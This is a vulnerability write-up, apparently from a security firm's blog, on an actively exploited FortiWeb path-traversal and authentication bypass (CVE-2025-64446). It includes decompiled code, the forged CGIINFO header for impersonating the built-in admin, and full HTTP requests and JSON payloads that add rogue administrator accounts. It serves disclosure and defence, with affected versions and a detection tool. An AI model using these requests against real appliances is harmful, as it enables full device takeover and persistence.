When The Impersonation Function Gets Used To Impersonate Users (Fortinet FortiWeb Auth. Bypass CVE-2025-64446)
The Internet is ablaze, and once again we all have a front-row seat - a bad person, if you can believe it, is doing a bad thing!
The first warning of such behaviour came from the great team at Defused:

As many are now aware, an unnamed (and potentially silently fixed) vulnerability affecting a number of Forti-devices (blast radius is currently unclear) is being actively exploited. For many, this will feel like a normal Tuesday.
For others, it will feel like a Monday.
Moments like this are why we exist- as always, the watchTowr team moved quickly, spinning up our rapid reaction process to support clients as the threat emerged.
The Vulnerability
Fortinet system administrators staring inquisitively at packet captures (as you generally have to do as an administrator of any security appliance), may have seen the following request stream pass them in the past weeks:
POST /api/v2.0/cmd/system/admin%3F/../.. ../../../cgi-bin/fwbcgi HTTP/1.1
Host: [redacted]
User-Agent: python-urllib3/2.2.3
Accept-Encoding: identity
CGIINFO: eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
Content-Length: 835
Content-Type: application/json
{ "data": { "q_type": 1, "name": "Testpoint", "access-profile": "prof_admin", "access-profile_val": "0", "trusthostv4": "0.0.0.0/0 ", "trusthostv6": "::/0 ", "last-name": "", "first-name": "", "email-address": "", "phone-number": "", "mobile-number": "", "hidden": 0, "domains": "root", "sz_dashboard": -1, "type": "local-user", "type_val": "0", "admin-usergrp_val": "0", "wildcard_val": "0", "accprofile-override_val": "0", "sshkey": "", "passwd-set-time": 0, "history-password-pos": 0, "history-password0": "", "history-password1": "", "history-password2": "", "history-password3": "", "history-password4": "", "history-password5": "", "history-password6": "", "history-password7": "", "history-password8": "", "history-password9": "", "force-password-change": "disable", "force-password-change_val": "0", "password": "AFodIUU3Sszp5" }}
While many may have dismissed it as Internet junk, it wasn’t - it was evidence of a threat actor looking to exploit a vulnerability (currently unnamed and without ID) that allowed privileged administrative functions to be reached.
In the example above, the threat actor exploited the vulnerability to add administrative accounts to the target and vulnerable appliance, serving as a weak persistence mechanism.
To be explicitly clear, this is a complete compromise of the vulnerable appliance.
The vulnerability itself? As far as we can see, it’s actually two..
- A Path Traversal vulnerability that we can see within the URI
- An Authentication Bypass vulnerability (via the contents of the HTTP request header
CGIINFO)

Is Fortinet Aware?
This question has been screamed at us for the last 24 hours.
While patch notes for FortiWeb 8.0.2 don’t include a reference or mention of any resolved vulnerabilities, the results from our internal testing labs show that 8.0.2 is mysteriously patched for this mysterious vulnerability:

Did Fortinet stumble, silently, into patching a vulnerability? Only Fortinet knows, really.
The following versions are known to be affected (thanks to Orange Cyberdefense for sharing information with us):
- 8.0: <8.0.2
- 7.6: <7.6.5
- 7.4: <7.4.10
- 7.2: <7.2.12
- 7.0: <7.0.12
- 6.4: <= 6.4.3
- 6.3: <= 6.3.23
Update: Fortinet PSIRT have now released their advisory and assigned CVE-2025-64446.
The First Step - The Path Traversal
The first stage of our vulnerability begins with leveraging a path traversal.
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: 192.168.9.1
Connection: keep-alive
As you can see, this is fairly ‘simple’ - if the URI begins with a valid FortiWeb API path, an attacker is then able to traverse to another CGI executable.
Which CGI executable? Well, there is only one - fwbcgi - so the choice is fairly simple.

The following method can be used to quickly check whether your FortiWeb version is affected by this vulnerability.
- If the request returns HTTP 200, the vulnerability is present.
- If the request returns HTTP 403, the vulnerability has been patched.

Step Two - FWBCGI
Let’s very briefly explain how the fwbcgi binary works. For context, the main function provided by fwbcgi follows this structure:
int __fastcall main(int argc, const char **argv, const char **envp)
{
[..SNIP..]
cgi_init(v3);
while ( !access("/var/log/debug_cgi", 0) )
sleep(1u);
if ( (unsigned int)cgi_inputcheck((__int64)v4) || (gui_conf_init(), cli_init(), (unsigned int)cgi_auth(v4)) )
{
cgi_output(v4);
}
else
{
cgi_process(v4);
cgi_output(v4);
conf_end();
}
cgi_free(v4);
return 0;
}
Our goal is to reach the cgi_process() function, which contains all the backend functionality we need access to. However, two validation functions stand between us and this objective:
cgi_inputcheck()cgi_auth()
Both checks must pass (return 0) for execution to proceed to cgi_process().
Step Two (a) - cgi_inputcheck()
In reality, cgi_inputcheck() is very simple.
The cgi_inputcheck() routine is designed to perform a very lightweight validation of the incoming HTTP body. In practice, its role is limited to confirming that the content is a valid JSON blob.
The relevant portion of the function looks like this:
__int64 __fastcall cgi_inputcheck(__int64 a1)
{
[..SNIP..]
v1 = (char *)cat_cgi_paths();
snprintf(s, 0x100uLL, "%s%s%s", "/var/log/inputcheck/", v1, ".json");
free(v1);
v2 = fopen(s, "r");
if ( !v2 )
return 0LL; // File doesn't exist - check passes
[..SNIP..]
v10 = json_tokener_parse((__int64)v8);
if ( !v10 )
{
// JSON parsing failed - check fails
return 0LL;
}
[..SNIP..]
}
The logic here is remarkably permissive:
- If the associated
inputcheckfile does not exist (the default case), the function immediately returns0- validation passed. - If the file does exist, the only requirement is that the body can be parsed as valid JSON.
As a result, any valid JSON object satisfies this check, including the simplest possible JSON payload:
{}
Let’s move on…
Step Two (b) - Impersonating Users Via cgi_auth()
This is where things become significantly more interesting.
While you might expect cgi_auth() to authenticate the caller, that is not what it does. Instead, the function effectively provides a mechanism to impersonate any user based on data supplied by the client. The behaviour unfolds in several steps:
- At [1], the function extracts a
CGIINFOheader from the HTTP request. - At [2], the value is Base64-decoded.
- At [3], the result is parsed as JSON.
- At [4], the function iterates through all JSON keys and extracts several user-related attributes:
username> target usernameprofname> profile namevdom> virtual domainloginname> login identifier
These fields are used to tell fwbcgi which user the HTTP request sender wishes to impersonate.
Notably, the built-in admin account on FortiWeb appliances has a consistent set of attributes across devices - and these attributes cannot be modified.
The relevant portion of the function looks like this:
__int64 __fastcall cgi_auth(_QWORD *a1)
{
[..SNIP..]
v2 = getenv("HTTP_CGIINFO");
if ( !v2 )
{
message("%s:%d: not include cgi info header\\n", s);
return 0xFFFFFFFFLL;
}
// Decode base64 HTTP_CGIINFO header
cmDecodeB64(v19, 512LL, v2, 0xFFFFFFFFLL); // [2]
v3 = json_tokener_parse(v19); // [3]
[..SNIP..]
// Extract user attributes from the decoded JSON
// [4]
for ( i = *(_QWORD *)(json_object_get_object(v3) + 8); i; i = *(_QWORD *)(i + 24) )
{
v5 = *(const char **)i;
string = (const char *)json_object_get_string(*(_QWORD *)(i + 16));
if ( !strncmp(v5, "username", 8uLL) )
a1[682] = strdup(string);
else if ( !strncmp(v5, "profname", 8uLL) )
a1[683] = strdup(string);
else if ( !strncmp(v5, "vdom", 4uLL) )
a1[684] = strdup(string);
else if ( !strncmp(v5, "loginname", 9uLL) )
a1[685] = strdup(string);
// ... additional fields
}
// Set login context with extracted credentials
// [5]
set_login_context_vsa(a1[685], a1[682], v19, a1[683], v8, 0LL);
domain_id = cmf_shm_find_domain_id((void *)a1[684]);
cmf_set_cur_domain_id(domain_id);
return 0LL;
}
Once all fields are extracted, the call at [5] - set_login_context_vsa() - applies the impersonation context.
From this point onward, all actions executed within cgi_process() are performed as the impersonated user.
In other words - by supplying a handcrafted HTTP_CGIINFO header, an attacker can impersonate any user, including the built-in admin, and inherit their full privileges.
Beautiful.
Exploiting The Vulnerability
With both validation checks out of the way, exploitation becomes remarkably straightforward. To assume administrative privileges, we can follow the following flow:
- Create a JSON object with built-in
admincredentials:
{
"username": "admin",
"profname": "super_admin",
"vdom": "root",
"loginname": "admin"
}
- Base64-encode this JSON
- Send it in the
HTTP_CGIINFOheader
Once processed by cgi_auth(), the vulnerable appliance will happily impersonate the supplied user and treat the request as authenticated with full administrative rights.
From this point on, all execution flows into cgi_process(), which is the heart of the backend logic. That means an attacker can perform any privileged action simply by supplying the appropriate JSON structure.
For example, the following payload instructs the appliance to create a new local user named watchTowr with the password watchTowr and administrative privileges (prof_admin):
{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","last-name":"","first-name":"","email-address":"","phone-number":"","mobile-number":"","hidden":0,"comments":"","sz_dashboard":-1,"type":"local-user","type_val":"0","admin-usergrp_val":"0","wildcard_val":"0","accprofile-override_val":"0","sshkey":"","passwd-set-time":0,"history-password-pos":0,"history-password0":"","history-password1":"","history-password2":"","history-password3":"","history-password4":"","history-password5":"","history-password6":"","history-password7":"","history-password8":"","history-password9":"","force-password-change":"disable","force-password-change_val":"0","password":"watchTowr"}}
Detection Artefact Generator
As in-the-wild exploitation indiscriminately targets FortiWeb appliances globally, we're releasing our Detection Artefact Generator to enable defenders to identify vulnerable hosts in their estates.
This can be found at https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass
The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.
By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.